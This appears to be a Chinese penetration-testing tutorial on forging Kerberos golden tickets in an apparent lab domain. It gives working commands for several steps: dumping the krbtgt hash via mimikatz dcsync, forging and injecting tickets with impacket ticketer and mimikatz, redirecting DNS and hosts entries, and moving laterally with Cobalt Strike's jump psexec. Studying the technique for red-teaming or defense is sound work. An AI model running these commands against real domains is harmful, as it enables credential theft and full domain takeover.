黄金票据~

一. 黄金票据原理

黄金票据一般是伪造的TGT,生成这个TGT,不需要和KDC进行校验,金票可以在本地直接生成,生成的的金票在非域机器和域内机器都可以使用

黄金票据的作用:

复制代码
可以用来权限维持
可以用来横向移动

二. 利用条件

1. 必须知道KDC密钥分发中心账户krbtgt的hash值(重要)

Krbtgt用户只有在域控上(要知道该用户的hash,必须先要控制域控或者通过远程查询)

2. 域名
3. 域的SID值

在域中执行whoami /all 域的SID值就是去掉500后面的

4. 需要伪造的用户

一般都是域管理员(administrator)

三. KRBTGT-Hash值的获取方式

获取KRBTGT的hash值,有两种方式:

复制代码
控制了域控然后查询
通过dcsync查询 
1. 控制域控

控制了域控之后可以通过多种方式查询(可以使用之前介绍的密码抓取技术技术)krbtgt是域用户,不是

域控上的本地用户所以存储不在域控的SAM文件中,而是在ntds文件中

还有很多办法,这里只演示一种

2. 没有控制域控

如果没有控制域控,可以通过dcsync的技术获取,Dcsync之前域内密码抓取技术中介绍过,使用该技术需要使用如下的用户

复制代码
Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户
域控制器的计算机帐户
域控的Administrator 和 system 也可以

四. 黄金票据的各种制作方式和使用

黄金票据的制作有多种方式,黄金票据本质上是伪造TGT,既然是伪造所以在任何电脑上都可以伪造,生成的TGT票据就可以打入内存(PTT),从而实现对整个域的控制,接下来我们看一下如何伪造

1、impacket中的工具TICKETER

此工具支持在目标机和本地生成金票

命令:

复制代码
ticketer -domain-sid sid值 -nthash krbtgt-hash -domain 域名 伪造的用户
ticketer -domain-sid S-1-5-21-3176001243-559812214-128103957 -nthash 42a96a39feedfb08eda775cc208ba3e0 -domain hack.com administrator

将生成的票据打入到内存中

2. 直接使用mimikatz生成并注入到内存中

和CS中自带功能一样

复制代码
kerberos::golden /user:administrator /domain:域名 /sid:SID值 /krbtgt:NTLM-HASH /ptt
kerberos::golden /user:administrator /domain:hack.com /sid:S-1-5-21-3176001243-559812214-128103957 /krbtgt:42a96a39feedfb08eda775cc208ba3e0 /ptt

后面的PTT如果携带 就会自动注入到内存,如果不带就在本地生成

五. 域内机器下的黄金票据制作和CS上线

先上线一台域内主机,通过这台主机控制域控(拿下整个域)

第一步:对服务器进行域内信息收集,并且检查自身的权限,如果是管理员权限直接dcsync

复制代码
mimikatz lsadump::dcsync /domain:hack.com /user:krbtgt

第二步:获取伪造TGT使用的域SID和域名

复制代码
whoami /all

第三步:制作黄金票据的条件都收集全之后,可以使用上面的办法生成黄金票据,也可以使用CS自带的金票制作功能

此功能生成后直接将票据注入到内存中,我们可以直接访问域内任意主机

接下来借助计划任务或者是服务上线CS即可

六. 工作组机器下的黄金票据制作和CS上线

上线一台工作组机器,先ping一下域控,看是否能通信

我这个是因为处于同一个网段中,但是在某些情况下需要注意:

复制代码
工作组机器的DNS必须修改成域控的IP(主要是工作组中的机器需要ping通域名)
如果不修改DNS,可以修改本地的HOST文件,将域名执行对应的IP地址
域中的SID值如何获取呢?可以使用LADP协议使用adfind查询(但是必须知道一个域用户)
krbtgt值如如何获取呢?这个就费劲了,需要使用控制了域控,或者域内机器

这里大家肯定有点矛盾,我既然都可以获取krbtgt,我直接使用域中的机器进行PTT就可以了,为什么还要用工作组中的机器(如果域中的机器有杀软呢?Mimikatz不能使用呢,但是这个工作组电脑上没有杀软)掌握更多方式,为了灵活方便

第一步:修改DNS或者HOST文件,如果在不同域的情况下需要修改

复制代码
echo 192.168.41.10 dc.hack.com >> C:\Windows\System32\drivers\etc\hosts
或者
netsh interface ipv4 add dns 本地连接 192.168.41.10

第二步:获取krbtgt的hash值

复制代码
mimikatz lsadump::dcsync /domain:hack.com /user:krbtgt

第三步:获取伪造TGT使用的域SID和域名

第四步:制作金票并注入内存

复制代码
kerberos::golden /user:administrator /domain:hack.com /sid:S-1-5-21-4004672601-2435621703-3785616059 /krbtgt:42a96a39feedfb08eda775cc208ba3e0 

第五步:CS自带的jump命令上线

复制代码
jump psexec 192.168.41.10 test1 
相关推荐
用户962377954483 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主4 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954486 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机6 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机6 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954486 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star6 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954486 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher8 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行11 天前
网络安全总结
安全·web安全